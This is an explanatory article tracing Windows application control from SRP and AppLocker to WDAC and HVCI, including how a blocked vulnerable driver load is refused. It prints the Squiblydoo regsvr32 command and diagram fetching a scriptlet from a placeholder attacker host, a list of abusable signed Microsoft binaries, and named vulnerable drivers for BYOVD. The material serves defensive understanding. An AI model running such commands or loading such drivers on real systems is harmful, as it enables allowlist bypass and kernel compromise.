A red-team operator drops a signed, valid, never-revoked OEM driver onto a freshly-imaged Windows 11 24H2 box with the default WDAC policy enforced and HVCI on. The driver is dbutil_2_3.sys, a real Dell utility tracked as CVE-2021-21551 [@nvd-cve-2021-21551], with an authentic Microsoft-trusted certificate in its embedded signature. The sc.exe create call returns success. The StartService call spins for roughly eight microseconds. Then the driver fails to load with ERROR_DRIVER_BLOCKED, and the Microsoft-Windows-CodeIntegrity/Operational event log lights up with event 3033 [@ms-driver-blocklist].

The driver is not malware. It is a perfectly legitimate diagnostic utility that Dell shipped to hundreds of millions of laptops between 2009 and 2021 [@sentinelone-dbutil], signed by a certificate that chains to a root in the Microsoft Trusted Root Program. The certificate has not expired. It has not been revoked. The driver itself is intact -- not modified, not repacked, not even slightly truncated. And it cannot run.

A class of attack in which a privileged operator (or an exploited userland process that has reached LocalSystem) loads a driver that is *signed* and *trusted* by the operating system, but contains a vulnerability that lets the loader execute arbitrary code in ring 0. The driver is the vehicle; the vulnerability inside the driver is the payload. The Dell `dbutil_2_3.sys` driver and the MSI Afterburner `RTCore64.sys` driver are the canonical 2018-2024 examples (CVE-2019-16098 [@nvd-cve-2019-16098], CVE-2021-21551 [@nvd-cve-2021-21551]).

That eight-microsecond refusal is the entry point of this article. It raises four questions that the next ten sections answer in order. Which Windows component refused the load? What policy language did it consult? How did that policy reach the device? And, most uncomfortably, which classes of attack would still get to the kernel anyway?

This piece sits alongside an earlier post on App Identity [@paragmali-com-app-ide].The App Identity post covers what code identity is in Windows -- Authenticode, Kernel Mode Code Signing (KMCS), publisher chains, hash strategies. This article argues what Windows does with that identity at every page-fault. The two pieces compose: identity is the noun; enforcement is the verb. Where App Identity covers what Windows means by "this is the same bag of bytes the publisher signed," what follows is what the OS does with that fact at every PE load. The two reduce, together, to a single sentence that section five will earn: code integrity at every layer is not a slogan; it is a page-fault sequence that runs dozens of times during one driver load.

sequenceDiagram participant Op as Operator (sc.exe) participant SCM as Service Control Manager participant NT as NT Loader (NtLoadDriver) participant CI as CI.dll (VTL0) participant Sk as SkCi.dll (VTL1) participant SLAT as Hypervisor SLAT Op->>SCM: sc.exe create / start SCM->>NT: NtLoadDriver(\dbutil_2_3.sys) NT->>CI: Validate Authenticode + policy CI->>Sk: Secure call: revalidate + check Block List Sk->>Sk: Hash matches Block List entry Sk-->>SLAT: Refuse W->X promotion SLAT-->>NT: Page-fault on first execute NT-->>SCM: STATUS_DRIVER_BLOCKED SCM-->>Op: ERROR_DRIVER_BLOCKED + event 3033

But before we can explain how the load was refused, we have to explain why this kind of refusal is a twenty-five-year-old engineering problem. Two earlier Microsoft answers, Software Restriction Policies and AppLocker, were the wrong shape -- and the wrong shape in instructive ways.

2. Historical Origins: The 1990s Free-for-All and the Birth of "Path Is Not Identity"

In 2001, a Windows XP user double-clicked a .vbs attachment and the OS asked nobody before running it. Code Red, Nimda, and MS Blaster had not yet finished teaching Microsoft why that was a bad design, but the theoretical ground was already a decade and a half old. Fred Cohen had proved, in his 1984 paper Computer Viruses -- Theory and Experiments [@cohen-eecs588], that general malware detection is undecidable -- without detection, containment is, in general, impossible. The verbatim form of that result is reserved for §8 below, where the theoretical-limits argument turns on it. If detection was off the table as a general primitive, the only remaining engineering option was the opposite of detection: an explicit allowlist.

Authenticode existed since Internet Explorer 3 in 1996, but it was advisory -- a "Security Warning" dialog the user could click past. The first OS-level enforcement primitive arrived with Windows XP and Server 2003 in the form of Software Restriction Policies (SRP) [@learn-microsoft-com-2003-cc782792vws10]). SRP was the first time the kernel was asked to refuse a load on the strength of an administrator-set rule, not a user click.

The original Windows app-control primitive, introduced with Windows XP and Server 2003. SRP supports four rule classes (path, hash, certificate, zone) and a fixed-precedence walk inside the Safer API call `SaferIdentifyLevel` [@learn-microsoft-com-2003-cc786941vws10]). Deployment is Group Policy only; storage post-download is the registry. SRP was deprecated in Windows 10 build 1803 [@ms-srp-deprecated], with Microsoft's documentation explicitly redirecting to AppLocker or WDAC. Microsoft's PE-image signing scheme [@ms-authenticode-ref], introduced with Internet Explorer 3 in 1996. An Authenticode signature attaches a CMS PKCS#7 envelope to a PE binary, binding the file's digest to a publisher certificate that chains to a Microsoft-trusted root. The same signature surface is reused by Kernel Mode Code Signing [@ms-acfb-overview], Smart App Control, and the WDAC `Signers` element discussed later in this article.

SRP shipped four ways to identify a binary, but the architectural lesson it forced into the open was about the first of those four. Path rules looked elegant on paper -- "trust everything in C:\Program Files" -- and lethal in practice, because a path is not a property of a binary. A path is the coordinates of a place a bag of bytes happens to sit, and any attacker who can write to that place inherits the trust attached to it. World-writable directories under %TEMP%, %APPDATA%, and various inherited-permission folders under C:\Program Files itself meant that path rules were structurally a lie. Hash rules were correct but brittle; certificate rules were correct but coarse; zone rules were correct but circumventable through a download into a trusted zone.

Key idea: Path is not identity. A path is a place a bag of bytes happens to sit; an attacker who can write to that place inherits the trust. This sentence will recur three times in this article -- at SRP, at AppLocker, and at WDAC's path-rule writeability check -- because every generation of Windows app-control re-learned it at a new layer.

gantt title Windows app-control + HVCI lineage 2001-2025 dateFormat YYYY-MM section App-control rail SRP (Windows XP) :2001-10, 17M AppLocker (Windows 7) :2009-10, 72M Configurable CI (Windows 10 1507) :2015-07, 27M WDAC rename (1703/1709) + ISG/MI :2017-04, 24M Multi-policy WDAC (1903) :2019-05, 60M ACfB rebrand (2024) :2024-01, 24M section HVCI / VBS rail HVCI in Device Guard (1507) :2015-07, 13M HVCI rename (1607) :2016-08, 20M MBEC/GMET reporting (1803) :2018-04, 25M KDP (Windows 10 2004) :2020-05, 16M Driver Block List GA (Win 11 22H2):2022-09, 24M KB5042562 Downdate fix :2025-07, 5M

The first inflection point came when the mass-mailer worms of 2001-2004 made it operationally embarrassing for Microsoft to keep shipping an OS in which "double-click runs anything." Microsoft's Trustworthy Computing memo dates to January 2002 [@microsoft-com-trustworthy-computing] -- Bill Gates' company-wide email pivoting Windows engineering toward security as a first-class deliverable. SRP was its first concrete app-control answer.Microsoft's own Windows Server 2003 SRP technical reference [@learn-microsoft-com-2003-cc786941vws10]) describes the architecture: when a user double-clicks an executable, the enforcement API SaferIdentifyLevel is called to determine the rule details that apply. The same page enumerates the Safer API, the Group Policy Editor extension, the WinVerifyTrust integration with Authenticode, the Event Viewer logging, and Active Directory + Group Policy as the propagation substrate.

SRP showed the shape of the answer -- admin-set policy, OS-enforced, applied before launch -- but it failed on three properties the next generation would try to close. It failed on granularity because path was its primary identity. It failed on audience because it had no per-user or per-group scoping. And it failed on surface because script hosts (wscript.exe, cscript.exe) had to opt in to consult its rules. AppLocker arrived in Windows 7 to fix all three. And it discovered that even closing all three is not enough.

3. Early Approaches: AppLocker, Squiblydoo, and the Engineering of "Publisher Is Not Enough"

April 19, 2016. Casey Smith publishes a four-line command on his subt0x10 blog: regsvr32 /s /n /u /i:http[:]//attacker/x.sct scrobj.dll. The command bypasses an AppLocker-locked-down workstation with executable and script rules enforced [@casey-smith-wayback], and -- because every default Microsoft AppLocker policy allows binaries published by O=Microsoft Corporation -- the same trick works against the canonical default rules out of the box. It leaves no registry artefact, requires no admin rights, runs the attacker's code under the user's token, and -- this is the part that hurts -- cannot be patched. Because the binary it abuses is signed by Microsoft, it is on every default allowlist. The technique gets the nickname Squiblydoo, gets MITRE ATT&CK ID T1218.010 [@mitre-t1218-010], gets used in campaigns targeting governments [@mitre-t1218-010], and gets the technique catalogued in the LOLBAS project [@lolbas-regsvr32].

To understand why Smith's command was a class of failure rather than a specific bug, look at AppLocker's design. AppLocker shipped in Windows 7 and Server 2008 R2 (RTM July 2009; GA October 2009) [@wikipedia-windows-7] with five rule collections (Executable, Windows Installer, Script, DLL, Packaged App) crossed against three rule types (Path, File hash, Publisher). Per-user and per-group scoping was the explicit win over SRP, and enforcement moved out of the Safer API into a dedicated Application Identity service (appidsvc) plus the appid.sys filter driver [@wikipedia-applocker], so script hosts no longer needed to opt in to consult policy. AppLocker was, on paper, every fix SRP needed.

The Windows 7 / Server 2008 R2 successor to SRP, with five rule collections (Executable, Windows Installer, Script, DLL, Packaged App) crossed against three rule types (Path, File hash, Publisher). Enforcement is via the `appidsvc` service plus the `appid.sys` filter driver [@learn-microsoft-com-7-dd723678vws10]). Microsoft documents AppLocker today as "a defense-in-depth security feature and not considered a defensible Windows security feature" [@ms-applocker-overview] -- meaning the Microsoft Security Response Center will not service AppLocker bypasses as security vulnerabilities. A signed, trusted binary that ships with the operating system and exposes functionality an attacker can repurpose for malicious execution -- without dropping any new file to disk, without triggering signature-based detection, and (in the AppLocker era) without violating any publisher-rule allowlist. The MITRE ATT&CK technique T1218 ("System Binary Proxy Execution") [@mitre-t1218] catalogues the parent class. Microsoft's own bypass catalogue [@ms-bypass-catalogue] lists about forty Windows binaries that fall into this class.

The Squiblydoo bypass is mechanical once you see it. AppLocker's publisher rule for O=Microsoft Corporation says yes to regsvr32.exe. The argument-parsing code inside regsvr32.exe is policy-blind -- it does not consult AppLocker before deciding to follow the /i:URL flag. The remote scriptlet is fetched, parsed, and the JScript inside it is executed in-process. AppLocker has logged a successful launch of a Microsoft-signed binary and seen nothing worth blocking. The malicious code now runs with the launching user's token, with no on-disk artefact, with no registry footprint, with no need to escalate.

sequenceDiagram participant U as User session participant Reg as regsvr32.exe (signed) participant AL as AppLocker check participant Atk as attacker.com participant JS as JScript engine U->>Reg: Spawn with /i:http://atk/x.sct scrobj.dll Reg->>AL: Publisher = Microsoft Corp? AL-->>Reg: PASS (publisher rule allows) Reg->>Atk: GET http://attacker/x.sct (proxy-aware, TLS-capable) Atk-->>Reg: Scriptlet (JScript COM) Reg->>JS: Instantiate scriptlet in-process JS-->>Reg: Arbitrary code under user token Reg-->>AL: Process exit logged "successful launch"

The bypass-research record is the size of a small university faculty. Microsoft's own bypass catalogue [@ms-bypass-catalogue] thanks fifteen researchers by name in its acknowledgements footer (Casey Smith, Matt Graeber, James Forshaw, Oddvar Moe, Matt Nelson, Will Dormann, Lasse Trolle Borup, Lee Christensen, Jimmy Bayne, Vladas Bulavas, William Easton, Brock Mammen, Kim Oppalfens, Philip Tsukerman, and Alex Ionescu).

The catalogue itself enumerates roughly forty signed Microsoft binaries that should be blocked unless explicitly required: addinprocess.exe, bash.exe, cdb.exe, cscript.exe, csi.exe, dnx.exe, dotnet.exe, fsi.exe, infdefaultinstall.exe, kd.exe, kill.exe, lxrun.exe, Microsoft.Workflow.Compiler.exe, msbuild.exe, mshta.exe, ntkd.exe, ntsd.exe, powershellcustomhost.exe, rcsi.exe, runscripthelper.exe, system.management.automation.dll, texttransform.exe, visualuiaverifynative.exe, wfc.exe, windbg.exe, wmic.exe, wscript.exe, and wsl.exe are all explicitly listed.The MITRE ATT&CK record for T1218.010 (Regsvr32) [@mitre-t1218-010] credits Smith for the technique and dates its documented in-the-wild use to multiple "campaigns targeting governments." The "Squiblydoo" nickname itself is widely attributed to Carbon Black's April 2016 threat advisory [@carbonblack-squiblydoo-2016], which MITRE cites as reference [3]. The LOLBAS project entry for Regsvr32 [@lolbas-regsvr32] preserves the verbatim AWL bypass syntax that Smith published.

Property	SRP (2001)	AppLocker (2009)
Identity primitive	Path / Hash / Cert / Zone	Path / Hash / Publisher
Per-user scoping	No	Yes
Enforcement engine	Safer API (`SaferIdentifyLevel`)	`appidsvc` + `appid.sys` filter driver
Script-host coverage	Opt-in per host	Centrally enforced
Canonical bypass class	Path-rule writeable directories	Squiblydoo / publisher-blind LOLBINs
MSRC servicing	Deprecated 2018	Defense-in-depth only (not serviced)

Microsoft's own architectural surrender is in the AppLocker overview [@ms-applocker-overview] itself, in a sentence the company has now repeated for a decade -- captured verbatim in the PullQuote below. The Microsoft Security Response Center, in other words, will not treat an AppLocker bypass as a vulnerability. AppLocker remains supported, remains documented, and remains deployed in millions of enterprises -- but Microsoft has moved its security-boundary commitment to a different feature.

AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature. -- Microsoft Learn, AppLocker overview, 2026. Two insights survive the AppLocker era. First, publisher-only identity is necessary but not sufficient: a bag of bytes signed by Microsoft can still host arbitrary attacker-supplied script. Second, the enforcement engine itself must be unkillable -- AppLocker's filter driver runs in the same VTL0 ring as the kernel an attacker may have compromised, so a SYSTEM-level kernel attacker can simply unload it. The next generation has to fix both. Microsoft fixed them on two parallel rails inside Windows 10.

4. The Evolution: Two Parallel Rails Converging on the Runtime Loop

From July 2015, Microsoft's answer evolved on two parallel rails inside Windows 10. One rail -- the configurable Code Integrity policy that would later be renamed WDAC -- replaced AppLocker's policy language with an XML schema and put the enforcement check inside the kernel. The other rail -- HVCI -- put the kernel CI check itself underneath the kernel, in a hypervisor-rooted Virtual Trust Level the attacker cannot reach. The rails converged in 2019 with multi-policy WDAC, and again in September 2022 when the Driver Block List started shipping on by default.

4a. The WDAC Rail

Configurable Code Integrity (CCI) under Device Guard shipped in Windows 10 1507 in July 2015 [@wikipedia-w10-history]. For the first time, Microsoft's app-control engine consumed an XML policy: a schema with Signers, FileRules, SigningScenarios, and the rule-option toggles that a 2026 administrator still recognises today. The engine binary was CI.dll [@ms-acfb-overview], and CI.dll is still the engine binary today. CCI was, from day one, serviced under MSRC criteria [@ms-acfb-overview] -- the load-bearing operational distinction from AppLocker, because Microsoft now treats a bypass of CCI as a security vulnerability.

The 2017 rebranding decoupled the engine from the marketing. In October 2017 [@ms-2017-wdac-blog] Microsoft published a blog post that admitted, in a sentence that has since become a Microsoft Learn citation, that "we estimate that only about 20% of our customers are using any type of application control technology." The same post announced the rename from "configurable CI" to Windows Defender Application Control, and explained that the original Device Guard story had "unintentionally left an impression for many customers that the two features were inexorably linked and could not be deployed separately."

The post also disclosed that "in the Windows 10 Creators Update (1703) [@wikipedia-w10-history] released last spring we introduced an option to WDAC called managed installer." Managed Installer is therefore a 1703 feature (April 2017), not a 1709 feature.This date precision matters. Earlier informal histories pin both ISG and Managed Installer to 1709; the verbatim primary makes Managed Installer a 1703 feature and ISG (rule option 14) a 1709 feature.

A WDAC policy is an XML document conforming to the SiPolicy schema [@ms-rule-options], evaluated by `CI.dll` at every PE load. The same feature has had four names over a decade: *configurable code integrity* (2015), *Windows Defender Device Guard* (2015-2017), *Windows Defender Application Control* (2017), and *App Control for Business* (the 2024 rename [@ms-acfb-landing]). The binary, the schema, and the runtime loop are unchanged across the renames. The XML schema that backs every WDAC policy. The eight load-bearing elements are `Rules` (policy options), `Signers` (signer identities), `FileRules` (the `Hash`, `FilePath`, `FileName`, `FilePublisher`, certificate-attribute family), `SigningScenarios` (which split kernel-mode from user-mode coverage), `HvciOptions` (the in-policy HVCI toggle), `UpdatePolicySigners` (who can replace the policy), `SupplementalPolicySigners` (who can add to it), and `CiSigners` (the trusted signer set in the user-mode scenario). The reputation cloud Microsoft uses for SmartScreen and Defender Antivirus. Enabling rule option 14 [@ms-isg] tells WDAC to consult ISG for "known good," "known bad," or "unknown" verdicts at runtime. ISG is not a list; it is a model. Microsoft documents the obvious contraindication: ISG "isn't recommended for devices that don't have regular access to the internet."

The architectural inflection arrived in Windows 10 1903 (May 2019) with multi-policy WDAC [@ms-deploy-multi]. Up to thirty-two active policies could now coexist on a single machine, with base-policy and supplemental-policy composition rules: two base policies intersect (a binary must be allowed by both to run), while a base and a supplemental union (allowed by either is enough). The architectural payoff is operational. The Driver Block List can now ship as a standalone WDAC policy and stack alongside an organisation's existing allowlist, without a merge-and-resign ceremony every quarter.The thirty-two-policy ceiling has since moved. The Microsoft Learn page on multi-policy deployment [@ms-deploy-multi] documents that the cap is removed on devices that have applied the April 9, 2024 cumulative update -- with one carve-out for Windows 11 21H2, where the limit remains thirty-two indefinitely.

The 2024 rename to App Control for Business changed the URL path on Microsoft Learn and not much else. The binary is still CI.dll; the schema is still SiPolicy; the rule options are still numbered the same way. Throughout the rest of this article we will use "WDAC" for prose searchability, with the understanding that "App Control for Business," "configurable code integrity," and "Device Guard kernel CI" all refer to the same engine.

Note: Four aliases for the same feature: configurable code integrity (2015), Windows Defender Device Guard (2015-2017), Windows Defender Application Control / WDAC (2017-2024), and App Control for Business / ACfB (2024-). All four consume the same SiPolicy XML, run against the same CI.dll, and emit events on the same Microsoft-Windows-CodeIntegrity/Operational channel. We use WDAC throughout for searchability; the App Control for Business documentation root [@ms-acfb-landing] is the canonical 2026 entry point.

flowchart LR Root[SiPolicy XML] Root --> Rules[Rules
policy options 0-20+] Root --> Signers[Signers
signer identities] Root --> FileRules[FileRules
Hash, FilePath, FileName, FilePublisher] Root --> Scenarios[SigningScenarios
KMCI 131, UMCI 12] Root --> Hvci[HvciOptions
0, 1, 2, 4] Root --> Update[UpdatePolicySigners
who may replace policy] Root --> Suppl[SupplementalPolicySigners
who may augment] Root --> Ci[CiSigners
trusted signer set in UMCI]

4b. The HVCI Rail

In August 2006, Joanna Rutkowska stood up at Black Hat USA and demonstrated Blue Pill [@en-wikipedia-org-wiki-bluepillsoftware]), a rootkit based on AMD-V hardware virtualization that loaded itself underneath the running operating system. The point was not the rootkit. The point was a threat-model anchor: if attackers can own the hypervisor [@paragmali-com-a-security], no kernel-mode mitigation can trust the kernel below it. The architectural answer Microsoft would eventually deploy is simple to state and hard to build: own the hypervisor first.Rutkowska's Black Hat USA 2006 presentation [@rutkowska-bh2006] demonstrated Blue Pill against Windows Vista; the deck was 52 pages, the rootkit was an AMD Pacifica (AMD-V) demonstration, and the talk was given on August 3, 2006. Alex Ionescu would invert the same architecture nine years later for HVCI -- the hypervisor is now the defender's substrate.

Device Guard kernel-mode CI / HVCI shipped in Windows 10 1507 in July 2015 [@wikipedia-w10-history] on a hardware-rooted hypervisor that Microsoft built specifically to host this kind of trust check. The architecture is clean. SkCi.dll runs inside Virtual Trust Level 1, the higher-privileged of the two VTLs the hypervisor exposes. The NT kernel runs in VTL0. When the NT kernel needs to validate a driver image, it asks VTL1 -- and only after VTL1 says yes does the hypervisor flip the SLAT entries for the driver's code pages from W to X [@ms-kdp-blog].

The hypervisor-enforced privilege separation that Microsoft introduced with Virtualization-Based Security in Windows 10. VTL0 hosts the normal NT kernel and userland; VTL1 hosts the Secure Kernel and a tiny set of "trustlets" -- LSAISO for Credential Guard, the per-VTL CI engine `SkCi.dll`, the virtual TPM. A SYSTEM-level attacker in VTL0 cannot read or write VTL1 memory; the hypervisor enforces the separation through SLAT permissions. Alex Ionescu's Battle of SKM and IUM [@github-com-20alex20ionescu20-20201520blackhat2015] is the canonical 2015 primary on the architecture. Microsoft Learn [@ms-memory-integrity] documents the feature under three names that all refer to the same code path: *memory integrity* (the consumer-facing label in Windows Security), *hypervisor-protected code integrity* (the technical name), and *hypervisor enforced code integrity* (the alternate technical name). The page reads, verbatim: "Memory integrity is sometimes referred to as hypervisor-protected code integrity (HVCI) or hypervisor enforced code integrity, and was originally released as part of Device Guard." A page is either writable or executable, but never both. HVCI enforces W$\oplus$X for kernel pages by holding the page write-permission and execute-permission bits in SLAT entries that VTL0 cannot edit [@ms-kdp-blog]. VTL1's `SkCi.dll` decides whether a page is executable; the hypervisor decides whether VTL0 can ever ask the question. The invariant exists to deny one specific class of attack -- writing a new payload into a kernel page and then executing it -- but it does not stop attacks that compose only of *existing* executable bytes (return-oriented and jump-oriented programming).

The next four versions of Windows 10 added one capability each. Windows 10 1607 (August 2016) [@wikipedia-w10-history] renamed the feature to HVCI, severed the marketing tie to Device Guard, and added a Windows Security app toggle. Windows 10 1803 (April 2018) [@ms-memory-integrity] added Mode-Based Execution Control reporting on Intel Kabylake-and-later silicon; AMD's Zen 2 added the equivalent Guest Mode Execute Trap. Older silicon falls back to Restricted User Mode emulation, which the same Microsoft Learn page warns "will have a bigger impact on performance."

Windows 10 2004 (May 2020) added Kernel Data Protection (KDP) [@ms-kdp-blog], the second floor of the W$\oplus$X discipline -- once code is unforgeable, attackers shift to data corruption, so KDP makes selected kernel data ranges unforgeable too. Windows 11 22H2 (September 2022) made HVCI on by default for most new Windows 11 devices [@ms-driver-blocklist], and shipped the Vulnerable Driver Block List on by default alongside it.

Microsoft Learn's three-name reconciliation is the verbatim quote in the §4b *HVCI / Memory Integrity* Definition above. Three names; one code path; one `SkCi.dll`; one architectural inversion of Blue Pill. We use *HVCI (Memory Integrity in Windows Security)* as the canonical first-mention form and *HVCI* for prose density throughout; a 2017 Microsoft Mechanics video called it *Device Guard*. flowchart TB VTL0["VTL0 -- NT kernel + CI.dll
'asks' for execute permission"] HV["Hypervisor -- hvix64.exe / hvax64.exe
holds SLAT page tables"] VTL1["VTL1 -- Secure Kernel + SkCi.dll
validates Authenticode + Block List"] Page["Driver image page
state: Writable -> ReadOnly+Execute"] VTL0 -- "Secure call: validate image" --> VTL1 VTL1 -- "If signed and not blocked" --> HV HV -- "Flip SLAT entry W->X" --> Page Page -- "Future write from VTL0" --> HV HV -- "Page-fault, no transition" --> VTL0

By 2022 the two rails had converged at the operational level. The Driver Block List shipped as a standalone WDAC policy that HVCI's SkCi.dll enforced in VTL1 on every kernel-mode driver load. Now we can finally answer the question that opened this article: which Windows component refused the BYOVD load? The honest answer is both rails working together at the page-fault. That sequence is the next section.

5. The Breakthrough: The Runtime Enforcement Loop, End-to-End

Open Process Monitor, watch a kernel driver load, and the human-readable output is IRP_MJ_CREATE returns success. Open WinDbg against a kernel-mode debugger session, set a breakpoint on SeCodeIntegrityVerifySection, watch the same load, and roughly forty distinct trust decisions happen between NtCreateSection and the moment the driver's DriverEntry is allowed to execute. The forty-decision shape is folk knowledge from the kernel-debugger community; the architecture that produces it is documented. Here is the seven-step walk that wraps it.

The first step is NtCreateSection. The kernel parses the PE image, locates the Authenticode signature in the directory entry of the optional header, and resolves the signature's PKCS#7 envelope. Step two: SeCodeIntegrityVerifySection calls into CI.dll [@ms-acfb-overview] under \Windows\System32\. CI.dll builds a SignerHash structure for the PE -- the bound publisher identity, the leaf certificate hash, the cryptographic page-hash table -- and then opens the policy state under C:\Windows\System32\CodeIntegrity\CIPolicies\Active\.The exact function names here -- SeCodeIntegrityVerifySection, CipMincryptValidateImageHeader -- are kernel-debugger artefacts; the Microsoft Learn page on memory integrity [@ms-memory-integrity] confirms only the higher-level "kernel mode code integrity process" terminology. We name the functions because the debugger view is the only way to see the loop in motion; treat them as kernel-debugger paraphrase, not as Microsoft Learn quotes.

Step three is the policy state machine. The walk has a fixed precedence. Explicit deny rules win first -- this is where the Driver Block List entry for dbutil_2_3.sys [@ms-driver-blocklist] terminates the load. Explicit allow rules are next, then signer-level rules, then Intelligent Security Graph cloud verdicts (when rule option 14 is enabled) [@ms-isg], and finally the Mark-of-the-Web disposition for the file. For a kernel-mode driver, step four forwards the verdict into VTL1 via a secure call -- the hypervisor-mediated cross-VTL invocation primitive that Microsoft introduced for VBS [@paragmali-com-the-en].

In step five, SkCi.dll [@github-com-20alex20ionescu20-20201520blackhat2015] inside VTL1 revalidates the Authenticode signature against its own trusted-root set, consults the per-VTL SLAT page-table state for the proposed image pages, checks the policy's HvciOptions element, and only then permits the hypervisor to flip the relevant SLAT entries from W to X.

Step six returns control to the loader; the driver's image is now executable in VTL0 and its pages are read-only from VTL0's perspective for the lifetime of the load. Step seven is the safety net: any later attempt to write to those pages from VTL0 -- a kernel exploit, a malicious driver, an attacker with a kernel debugger attached -- page-faults at the SLAT layer, intercepted by the hypervisor [@ms-hyperv-bounty] (hvix64.exe on Intel, hvax64.exe on AMD), not by the kernel that the attacker may already control.

Key idea: Code integrity at every layer is not a slogan. It is a page-fault sequence that runs dozens of times during one driver load. Step five is the architectural inversion: VTL1 holds the validation key, VTL0 cannot reach VTL1, and the hypervisor enforces the separation in silicon-mediated SLAT entries.

sequenceDiagram participant L as NT Loader participant CI as CI.dll (VTL0) participant Pol as Active policy state participant Hv as Hypervisor (hvix64.exe) participant Sk as SkCi.dll (VTL1) participant SLAT as SLAT page tables L->>CI: NtCreateSection(image) CI->>CI: Parse Authenticode + page-hash table CI->>Pol: Lookup C:\Windows\System32\CodeIntegrity\CIPolicies\Active\ Pol-->>CI: Verdict (deny / allow / signer / ISG) CI->>Hv: Secure call: revalidate this kernel image Hv->>Sk: Forward to VTL1 Sk->>Sk: Re-check signature + Block List Sk-->>Hv: PASS or FAIL Hv->>SLAT: If PASS, flip page state W -> X (read-only execute) SLAT-->>L: DriverEntry executes in VTL0 Note over SLAT,Hv: Future VTL0 write to these pages -> SLAT page-fault

The seven-step walk maps cleanly onto a small reference table that any administrator should have on a sticky note. The event IDs in the right column are the Microsoft-Windows-CodeIntegrity/Operational channel [@ms-driver-blocklist] entries that show up in Event Viewer under each verdict.

Step	Component	File path	Event on failure
1	NT loader	`\Windows\System32\ntoskrnl.exe`	(kernel STATUS code)
2	CI engine	`\Windows\System32\CI.dll`	3023 (audit) / 3024 (enforce)
3	Policy state	`\Windows\System32\CodeIntegrity\CIPolicies\Active\*.cip`	3076 (UMCI) / 3077 (UMCI enforce)
4	Secure call	`\Windows\System32\securekernel.exe`	(cross-VTL trace)
5	Secure CI	VTL1-resident `SkCi.dll`	3033 (driver block) / 3034 (driver audit)
6	Hypervisor SLAT flip	`\Windows\System32\hvix64.exe` / `hvax64.exe`	(hypervisor trace)
7	Page-fault safety net	Hypervisor	SLAT violation crash

The hardware feature -- Intel Extended Page Tables, AMD Rapid Virtualization Indexing -- that the hypervisor uses to translate guest physical addresses to host physical addresses one level deeper than the OS's own page tables. Because SLAT entries are *under* the OS's view, a kernel attacker in VTL0 can change the OS's page tables but cannot reach the SLAT entries the hypervisor maintains. HVCI uses SLAT permission bits to hold the W$\oplus$X invariant for kernel pages; KDP uses them to hold read-only memory for kernel data sections. The Event Viewer channel under `Microsoft-Windows-CodeIntegrity/Operational` that records every WDAC + HVCI verdict. Six event IDs carry the operational load: 3023 (kernel-mode audit), 3024 (kernel-mode enforced block), 3033 (driver block by Block List), 3034 (driver audit), 3076 (user-mode audit), and 3077 (user-mode enforced block) [@ms-event-id-explanations]. All six are JSON-shaped after Windows 11 22H2 and parse cleanly into Defender for Endpoint advanced hunting.The cited Microsoft Learn page enumerates 3033, 3034, 3076, and 3077 verbatim, and adjacent IDs 3004 (kernel driver invalid signature), 3089 (signature info correlation), and 3095-3105 (policy activation/refresh). 3023 and 3024 are kernel-debugger-observable IDs in the same `Microsoft-Windows-CodeIntegrity/Operational` channel and surface in `Get-WinEvent` queries against that channel; treat the 3023/3024 row as kernel-debugger paraphrase rather than as Microsoft Learn enumeration.

The third visual for this section is the Win32_DeviceGuard decoder a 2026 administrator runs to confirm the loop is actually live on a representative endpoint. The WMI surface decodes a small set of magic numbers that map to silicon and hypervisor capabilities.

{` // Demonstrates the logic of: // Get-CimInstance -ClassName Win32_DeviceGuard // -Namespace root\Microsoft\Windows\DeviceGuard // // AvailableSecurityProperties returns an array of small integers. // Decode them against the Microsoft Learn-documented mapping. const SECURITY_PROPS = { 1: 'Hypervisor support (VBS-capable CPU)', 2: 'Secure Boot is available', 3: 'DMA protection is available', 4: 'Secure Memory Overwrite is available', 5: 'NX protections are available', 6: 'SMM mitigations are available', 7: 'MBEC/GMET is available (Intel Kabylake+ / AMD Zen 2+)', 8: 'APIC virtualization is available', };

// Pretend we just received this from a remote endpoint: const sample = { AvailableSecurityProperties: [1, 2, 3, 5, 7], VirtualizationBasedSecurityStatus: 2, // 2 = running SecurityServicesRunning: [2], // 2 = HVCI active };

console.log('VBS status:', sample.VirtualizationBasedSecurityStatus === 2 ? 'RUNNING' : 'OFF'); console.log('HVCI:', sample.SecurityServicesRunning.includes(2) ? 'ACTIVE' : 'INACTIVE'); console.log('Capabilities:'); for (const id of sample.AvailableSecurityProperties) { console.log(' -', SECURITY_PROPS[id] || ('unknown:' + id)); } `}

Note: Joanna Rutkowska's Blue Pill [@en-wikipedia-org-wiki-bluepillsoftware]) argued in 2006 that the hypervisor was the attacker's substrate to fear. HVCI inverts the argument nine years later: the hypervisor becomes the defender's substrate, hosting the trust check below the kernel an attacker may have compromised. A SYSTEM-level kernel attacker cannot reach VTL1; the hypervisor enforces the separation in SLAT entries that VTL0 cannot edit. The same hardware feature that made Rutkowska's rootkit possible is the hardware feature that makes HVCI's W$\oplus$X invariant enforceable.

We now have an answer to the question that opened section one. When dbutil_2_3.sys loaded against a default Windows 11 24H2 box with HVCI on, step five happened. SkCi.dll consulted the Vulnerable Driver Block List [@ms-driver-blocklist] inside its own active policy state, matched the file hash against the published deny entry for CVE-2021-21551 [@nvd-cve-2021-21551], refused the SLAT promotion, and the load failed with event 3033. Eight microseconds. The same loop runs on every driver load on every HVCI-enabled Windows 11 device on the planet. Now we have to operate it.

6. State of the Art: Authoring, Signing, Deploying, Monitoring

Knowing how the loop works is necessary; running it is the actual job. A 2026 Windows estate that wants the eight-microsecond refusal to fire on its own endpoints needs five operational disciplines, in this order: authoring, audit-mode discovery, signing, deployment, and monitoring.

6.1 Authoring

Authoring starts from one of the example base policies [@ms-example-policies] Microsoft ships under %OSDrive%\Windows\schemas\CodeIntegrity\ExamplePolicies\. The directory contains DefaultWindows_Audit.xml (a sane starting allowlist that runs in audit mode), AllowMicrosoft.xml, AllowAll.xml, AllowAll_EnableHVCI.xml, DenyAllAudit.xml, and the canonical SmartAppControl.xml / SignedReputable.xml [@ms-example-policies] consumer-grade template. There is also RecommendedDriverBlock_Enforced.xml -- the on-disk form of the Vulnerable Driver Block List -- and the S-mode templates WinSiPolicy.xml and WinSEPolicy.xml.

